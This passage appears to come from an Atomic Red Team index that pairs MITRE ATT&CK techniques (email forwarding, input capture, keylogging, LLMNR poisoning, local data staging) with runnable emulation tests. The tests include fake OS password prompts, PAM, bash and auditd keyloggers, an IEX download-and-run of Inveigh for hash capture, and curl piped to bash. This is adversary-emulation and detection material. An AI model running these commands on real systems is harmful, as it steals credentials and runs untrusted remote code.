      - source_name: mitre-attack
        external_id: T1114.003
        url: https://attack.mitre.org/techniques/T1114/003
      - source_name: US-CERT TA18-068A 2018
        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
          by Cyber Actors. Retrieved October 2, 2019.
      - source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2
        url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/
        description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding.
          Retrieved October 8, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Email Forwarding Rule
      description: "Adversaries may setup email forwarding rules to collect sensitive
        information. Adversaries may abuse email-forwarding rules to monitor the activities
        of a victim, steal information, and further gain intelligence on the victim
        or the victim’s organization to use as part of further exploits or operations.(Citation:
        US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create
        inbox rules for various email functions, including forwarding to a different
        recipient. Similarly, Google Workspace users or administrators can set up
        mail forwarding rules via the Google Workspace web interface. Messages can
        be forwarded to internal or external recipients, and there are no restrictions
        limiting the extent of this rule. Administrators may also create forwarding
        rules for user accounts with the same considerations and outcomes.(Citation:
        Microsoft Tim McMichael Exchange Mail Forwarding 2) \n\nAny user or administrator
        within the organization (or adversary with valid credentials) can create rules
        to automatically forward all received messages to another recipient, forward
        emails to different locations based on the sender, and more."
      id: attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2021-03-25T13:08:30.699Z'
      created: '2020-02-19T18:54:47.103Z'
      x_mitre_contributors:
      - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.

        Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      x_mitre_platforms:
      - Office 365
      - Windows
      - Google Workspace
    atomic_tests: []
  T1056.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1056.002
        url: https://attack.mitre.org/techniques/T1056/002
      - external_id: CAPEC-659
        source_name: capec
        url: https://capec.mitre.org/data/definitions/659.html
      - url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
        description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits
          Mackeeper. Retrieved July 3, 2017.
        source_name: OSX Malware Exploits MacKeeper
      - source_name: LogRhythm Do You Trust Oct 2014
        url: https://logrhythm.com/blog/do-you-trust-your-computer/
        description: Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved
          December 17, 2018.
      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        source_name: OSX Keydnap malware
      - source_name: Enigma Phishing for Credentials Jan 2015
        url: https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
        description: 'Nelson, M. (2015, January 21). Phishing for Credentials: If
          you want it, just ask!. Retrieved December 17, 2018.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: GUI Input Capture
      description: "Adversaries may mimic common operating system GUI components to
        prompt users for credentials with a seemingly legitimate prompt. When programs
        are executed that need additional privileges than are present in the current
        user context, it is common for the operating system to prompt the user for
        proper credentials to authorize the elevated privileges for the task (ex:
        [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries
        may mimic this functionality to prompt users for credentials with a seemingly
        legitimate prompt for a number of reasons that mimic normal usage, such as
        a fake installer requiring additional access or a fake malware removal suite.(Citation:
        OSX Malware Exploits MacKeeper) This type of prompt can be used to collect
        credentials via various languages such as AppleScript(Citation: LogRhythm
        Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation:
        LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials
        Jan 2015). "
      id: attack-pattern--a2029942-0a85-4947-b23c-ca434698171d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-03-24T20:56:14.853Z'
      created: '2020-02-11T18:58:45.908Z'
      x_mitre_contributors:
      - Matthew Molyett, @s1air, Cisco Talos
      x_mitre_data_sources:
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials.

        Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Windows
      identifier: T1056.002
    atomic_tests:
    - name: AppleScript - Prompt User for Password
      auto_generated_guid: 76628574-0bc1-4646-8fe2-8f4427b47d15
      description: |
        Prompt User for Password (Local Phishing)
        Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
      supported_platforms:
      - macos
      executor:
        command: 'osascript -e ''tell app "System Preferences" to activate'' -e ''tell
          app "System Preferences" to activate'' -e ''tell app "System Preferences"
          to display dialog "Software Update requires that you type your password
          to apply changes." & return & return  default answer "" with icon 1 with
          hidden answer with title "Software Update"''

'
        name: bash
    - name: PowerShell - Prompt User for Password
      auto_generated_guid: 2b162bfd-0928-4d4c-9ec3-4d9f88374b52
      description: |
        Prompt User for Password (Local Phishing) as seen in Stitch RAT. Upon execution, a window will appear for the user to enter their credentials.

        Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py
      supported_platforms:
      - windows
      executor:
        command: "# Creates GUI to prompt for password. Expect long pause before prompt
          is available.    \n$cred = $host.UI.PromptForCredential('Windows Security
          Update', '',[Environment]::UserName, [Environment]::UserDomainName)\n# Using
          write-warning to allow message to show on console as echo and other similar
          commands are not visable from the Invoke-AtomicTest framework.\nwrite-warning
          $cred.GetNetworkCredential().Password\n"
        name: powershell
  T1056:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1056
        url: https://attack.mitre.org/techniques/T1056
      - external_id: CAPEC-569
        source_name: capec
        url: https://capec.mitre.org/data/definitions/569.html
      - url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
          look into keyloggers on Windows. Retrieved April 27, 2016.'
        source_name: Adventures of a Keystroke
      description: Adversaries may use methods of capturing user input to obtain credentials
        or collect information. During normal system usage, users often provide credentials
        to various different locations, such as login pages/portals or system dialog
        boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential
        API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving
        the user into providing input into what they believe to be a genuine service
        (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).
      name: Input Capture
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-10-21T01:31:35.760Z'
      created: '2017-05-31T21:30:48.323Z'
      x_mitre_version: '1.2'
      x_mitre_contributors:
      - John Lambert, Microsoft Threat Intelligence Center
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Driver: Driver Load'
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'File: File Modification'
      - 'Process: Process Metadata'
      x_mitre_detection: 'Detection may vary depending on how input is captured but
        may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`,
        `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke),
        monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059),
        and ensuring no unauthorized drivers or kernel modules that could indicate
        keylogging or API hooking are present.'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - root
      - User
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1056.001:
    technique:
      created: '2020-02-11T18:58:11.791Z'
      modified: '2020-10-21T01:30:56.227Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1056.001
        url: https://attack.mitre.org/techniques/T1056/001
      - external_id: CAPEC-568
        source_name: capec
        url: https://capec.mitre.org/data/definitions/568.html
      - url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
          look into keyloggers on Windows. Retrieved April 27, 2016.'
        source_name: Adventures of a Keystroke
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Keylogging
      description: "Adversaries may log user keystrokes to intercept credentials as
        the user types them. Keylogging is likely to be used to acquire credentials
        for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
        efforts are not effective, and may require an adversary to intercept keystrokes
        on a system for a substantial period of time before credentials can be successfully
        captured.\n\nKeylogging is the most prevalent type of input capture, with
        many different ways of intercepting keystrokes.(Citation: Adventures of a
        Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing
        keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004),
        this focuses solely on API functions intended for processing keystroke data.\n*
        Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n*
        Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601)
        may provide adversaries with hooks into the operating system of network devices
        to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device
        Attacks) "
      id: attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Driver: Driver Load'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      - root
      - SYSTEM
      - User
      x_mitre_detection: 'Keyloggers may take many forms, possibly involving modification
        to the Registry and installation of a driver, setting a hook, or polling to
        intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`,
        and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry
        and file system for such changes, monitor driver installs, and look for common
        keylogging API calls. API calls alone are not an indicator of keylogging,
        but may provide behavioral data that is useful when combined with other information
        such as new files written to disk and unusual processes.'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - Network
      identifier: T1056.001
    atomic_tests:
    - name: Input Capture
      auto_generated_guid: d9b633ca-8efb-45e6-b838-70f595c6ae26
      description: |
        Utilize PowerShell and external resource to capture keystrokes
        [Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)
        Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)

        Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.
      supported_platforms:
      - windows
      input_arguments:
        filepath:
          description: Name of the local file, include path.
          type: Path
          default: "$env:TEMP\\key.log"
      executor:
        command: |
          Set-Location $PathToAtomicsFolder
          .\T1056.001\src\Get-Keystrokes.ps1 -LogPath #{filepath}
        cleanup_command: 'Remove-Item $env:TEMP\key.log -ErrorAction Ignore

'
        name: powershell
        elevation_required: true
    - name: Living off the land Terminal Input Capture on Linux with pam.d
      auto_generated_guid: 9c6bdb34-a89f-4b90-acb1-5970614c711b
      description: "Pluggable Access Module, which is present on all modern Linux
        systems, generally contains a library called pam_tty_audit.so which logs all
        keystrokes for the selected users and sends it to audit.log.  All terminal
        activity on any new logins would then be archived and readable by an adversary
        with elevated privledges.\n\nPasswords hidden by the console can also be logged,
        with 'log_passwd' as in this example.  If root logging is enabled, then output
        from any process which is later started by root is also logged, even if this
        policy is carefully enabled (e.g. 'disable=*' as the initial command).\n\nUse
        'aureport --tty' or other audit.d reading tools to read the log output, which
        is binary.  Mac OS does not currently contain the pam_tty_audit.so library.
        \n"
      dependencies:
      - description: 'Checking if pam_tty_audit.so is installed

'
        prereq_command: 'test -f ''/usr/lib/pam/pam_tty_audit.so -o  /usr/lib64/security/pam_tty_audit.so''

'
        get_prereq_command: 'echo "Sorry, you must install module pam_tty_audit.so
          and recompile, for this test to work"

'
      supported_platforms:
      - linux
      executor:
        command: if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth
          /tmp/password-auth.bk; fi; if sudo test -f /etc/pam.d/system-auth; then
          sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi; sudo touch /tmp/password-auth.bk
          sudo touch /tmp/system-auth.bk sudo echo "session    required    pam_tty_audit.so
          enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session    required    pam_tty_audit.so
          enable=* log_password" >> /etc/pam.d/system-auth
        cleanup_command: |
          sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth
          sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth
        name: sh
        elevation_required: true
    - name: Logging bash history to syslog
      auto_generated_guid: 0e59d59d-3265-4d35-bebd-bf5c1ec40db5
      description: "There are several variables that can be set to control the appearance
        of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents
        of these variables are executed as if they had been typed on the command line.
        The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable
        and can be configured to write the latest \"bash history\" entries to the
        syslog.\n\nTo gain persistence the command could be added to the users .bashrc
        or .bash_aliases or the systems default .bashrc in /etc/skel/ \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires to be run in a bash shell and that logger
          and tee are installed.

'
        prereq_command: |
          if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi
          if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi
          if [ ! -x "$(command -v tee)" ]; then echo -e "\n***** tee NOT installed *****\n"; exit 1; fi
        get_prereq_command: 'echo ""

'
      executor:
        name: sh
        elevation_required: true
        command: |
          PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")'
          echo "\$PROMPT_COMMAND=$PROMPT_COMMAND"
          tail /var/log/syslog
        cleanup_command: 'unset PROMPT_COMMAND

'
    - name: Bash session based keylogger
      auto_generated_guid: 7f85a946-a0ea-48aa-b6ac-8ff539278258
      description: "When a command is executed in bash, the BASH_COMMAND variable
        contains that command. For example :~$ echo $BASH_COMMAND = \"echo $BASH_COMMAND\".
        The trap command is not a external command, but a built-in function of bash
        and can be used in a script to run a bash function when some event occurs.
        trap will detect when the BASH_COMMAND variable value changes and then pipe
        that value into a file, creating a bash session based keylogger. \n\nTo gain
        persistence the command could be added to the users .bashrc or .bash_aliases
        or the systems default .bashrc in /etc/skel/ \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires to be run in a bash shell

'
        prereq_command: 'if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n*****
          Bash not running! *****\n"; exit 1; fi

'
        get_prereq_command: 'echo ""

'
      input_arguments:
        output_file:
          name: output_file
          description: File to store captured commands
          type: String
          default: "/tmp/.keyboard.log"
      executor:
        name: sh
        elevation_required: false
        command: |
          trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG
          echo "Hello World!"
          cat #{output_file}
        cleanup_command: 'rm #{output_file}

'
    - name: SSHD PAM keylogger
      auto_generated_guid: 81d7d2ad-d644-4b6a-bea7-28ffe43becca
      description: 'Linux PAM (Pluggable Authentication Modules) is used in sshd authentication.
        The Linux audit tool auditd can use the pam_tty_audit module to enable auditing
        of TTY input and capture all keystrokes in a ssh session and place them in
        the /var/log/audit/audit.log file after the session closes.

'
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires sshd and auditd

'
        prereq_command: |
          if [ ! -x "$(command -v sshd)" ]; then echo -e "\n***** sshd NOT installed *****\n"; exit 1; fi
          if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi
        get_prereq_command: 'echo ""

'
      input_arguments:
        user_account:
          description: Basic ssh user account for testing.
          type: String
          default: ubuntu
      executor:
        name: sh
        elevation_required: true
        command: "cp -v /etc/pam.d/sshd /tmp/\necho >> \"session required pam_tty_audit.so
          disable=* enable=* open_only log_passwd\"\nsystemctl restart sshd\nsystemctl
          restart auditd\nssh #{user_account}@localhost \nwhoami\nsudo su\nwhoami\nexit\nexit\n"
        cleanup_command: 'cp -fv /tmp/sshd /etc/pam.d/

'
    - name: Auditd keylogger
      auto_generated_guid: a668edb9-334e-48eb-8c2e-5413a40867af
      description: "The linux audit tool auditd can be used to capture 32 and 64 bit
        command execution and place the command in the /var/log/audit/audit.log audit
        log. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires sshd and auditd

'
        prereq_command: 'if [ ! -x "$(command -v auditd)" ]; then echo -e "\n*****
          auditd NOT installed *****\n"; exit 1; fi

'
        get_prereq_command: 'echo ""

'
      executor:
        name: sh
        elevation_required: true
        command: "auditctl -a always,exit -F arch=b64 -S execve -k CMDS \nauditctl
          -a always,exit -F arch=b32 -S execve -k CMDS\nwhoami; ausearch -i --start
          $(date +\"%d/%m/%y %H:%M:%S\") \n"
        cleanup_command: 'systemctl restart auditd

'
  T1557.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1557.001
        url: https://attack.mitre.org/techniques/T1557/001
      - url: https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
        description: Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution.
          Retrieved November 17, 2017.
        source_name: Wikipedia LLMNR
      - url: https://technet.microsoft.com/library/cc958811.aspx
        description: Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November
          17, 2017.
        source_name: TechNet NetBIOS
      - source_name: byt3bl33d3r NTLM Relaying
        url: https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
        description: Salvati, M. (2017, June 2). Practical guide to NTLM Relaying
          in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February
          7, 2019.
      - source_name: Secure Ideas SMB Relay
        url: https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
        description: Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays
          Should Be On Your Mind. Retrieved February 7, 2019.
      - url: https://github.com/nomex/nbnspoof
        description: Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.
        source_name: GitHub NBNSpoof
      - url: https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response
        description: Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.
        source_name: Rapid7 LLMNR Spoofer
      - url: https://github.com/SpiderLabs/Responder
        description: Gaffie, L. (2016, August 25). Responder. Retrieved November 17,
          2017.
        source_name: GitHub Responder
      - url: https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning
        description: 'Sternstein, J. (2013, November). Local Network Attacks: LLMNR
          and NBT-NS Poisoning. Retrieved November 17, 2017.'
        source_name: Sternsecurity LLMNR-NBTNS
      - url: https://github.com/Kevin-Robertson/Conveigh
        description: Robertson, K. (2016, August 28). Conveigh. Retrieved November
          17, 2017.
        source_name: GitHub Conveigh
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: LLMNR/NBT-NS Poisoning and SMB Relay
      description: "By responding to LLMNR/NBT-NS network traffic, adversaries may
        spoof an authoritative source for name resolution to force communication with
        an adversary controlled system. This activity may be used to collect or relay
        authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR)
        and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve
        as alternate methods of host identification. LLMNR is based upon the Domain
        Name System (DNS) format and allows hosts on the same local link to perform
        name resolution for other hosts. NBT-NS identifies systems on a local network
        by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries
        can spoof an authoritative source for name resolution on a victim network
        by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know
        the identity of the requested host, effectively poisoning the service so that
        the victims will communicate with the adversary controlled system. If the
        requested host belongs to a resource that requires identification/authentication,
        the username and NTLMv2 hash will then be sent to the adversary controlled
        system. The adversary can then collect the hash information sent over the
        wire through tools that monitor the ports for traffic or through [Network
        Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes
        offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to
        obtain the plaintext passwords. In some cases where an adversary has access
        to a system that is in the authentication path between systems or when automated
        scans that use credentials attempt to authenticate to an adversary controlled
        system, the NTLMv2 hashes can be intercepted and relayed to access and execute
        code against a target system. The relay step can happen in conjunction with
        poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation:
        Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison
        name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).
        (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub
        Responder)"
      id: attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-03-31T13:54:08.239Z'
      created: '2020-02-11T19:08:51.677Z'
      x_mitre_contributors:
      - Eric Kuehn, Secure Ideas
      - Matthew Demaske, Adaptforward
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Flow'
      - 'Service: Service Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Monitor <code>HKLM\Software\Policies\Microsoft\Windows NT\DNSClient</code> for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)

        Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.

        Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1557.001
    atomic_tests:
    - name: LLMNR Poisoning with Inveigh (PowerShell)
      auto_generated_guid: deecd55f-afe0-4a62-9fba-4d1ba2deb321
      description: Inveigh conducts spoofing attacks and hash/credential captures
        through both packet sniffing and protocol specific listeners/sockets. This
        Atomic will run continuously until you cancel it or it times out.
      supported_platforms:
      - windows
      executor:
        command: |-
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1" -UseBasicParsing)
          Invoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y
        name: powershell
        elevation_required: true
  T1074.001:
    technique:
      created: '2020-03-13T21:13:10.467Z'
      modified: '2020-05-26T19:23:54.854Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      type: attack-pattern
      id: attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c
      description: Adversaries may stage collected data in a central location or directory
        on the local system prior to Exfiltration. Data may be kept in separate files
        or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560).
        Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106)
        and bash may be used to copy data into a staging location.
      name: Local Data Staging
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1074.001
        url: https://attack.mitre.org/techniques/T1074/001
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'File: File Access'
      - 'File: File Creation'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.

        Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1074.001
    atomic_tests:
    - name: Stage data from Discovery.bat
      auto_generated_guid: 107706a5-6f9f-451a-adae-bab8c667829f
      description: |
        Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution,
        verify that the file is saved in the temp directory.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Location to save downloaded discovery.bat file
          type: Path
          default: "$env:TEMP\\discovery.bat"
      executor:
        command: 'Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat"
          -OutFile #{output_file}

'
        cleanup_command: 'Remove-Item -Force #{output_file} -ErrorAction Ignore

'
        name: powershell
    - name: Stage data from Discovery.sh
      auto_generated_guid: 39ce0303-ae16-4b9e-bb5b-4f53e8262066
      description: 'Utilize curl to download discovery.sh and execute a basic information
        gathering shell script

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        output_file:
          description: Location to save downloaded discovery.bat file
          type: Path
          default: "/tmp/T1074.001_discovery.log"
      executor:
        command: 'curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh
          | bash -s > #{output_file}

'
        name: bash
    - name: Zip a Folder with PowerShell for Staging in Temp
      auto_generated_guid: a57fbe4b-3440-452a-88a7-943531ac872a
      description: |
        Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip
        was placed in the temp directory.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Location to save zipped file or folder
          type: Path
          default: "$env:TEMP\\Folder_to_zip.zip"
        input_file:
          description: Location of file or folder to zip
          type: Path
          default: PathToAtomicsFolder\T1074.001\bin\Folder_to_zip
      executor:
        command: 'Compress-Archive -Path #{input_file} -DestinationPath #{output_file}
          -Force

'
        cleanup_command: 'Remove-Item -Path #{output_file} -ErrorAction Ignore

'
        name: powershell
  T1114.001:
    technique:
      created: '2020-02-19T18:46:06.098Z'
      modified: '2020-03-24T17:59:20.983Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      type: attack-pattern
      id: attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004
      description: |-
        Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.

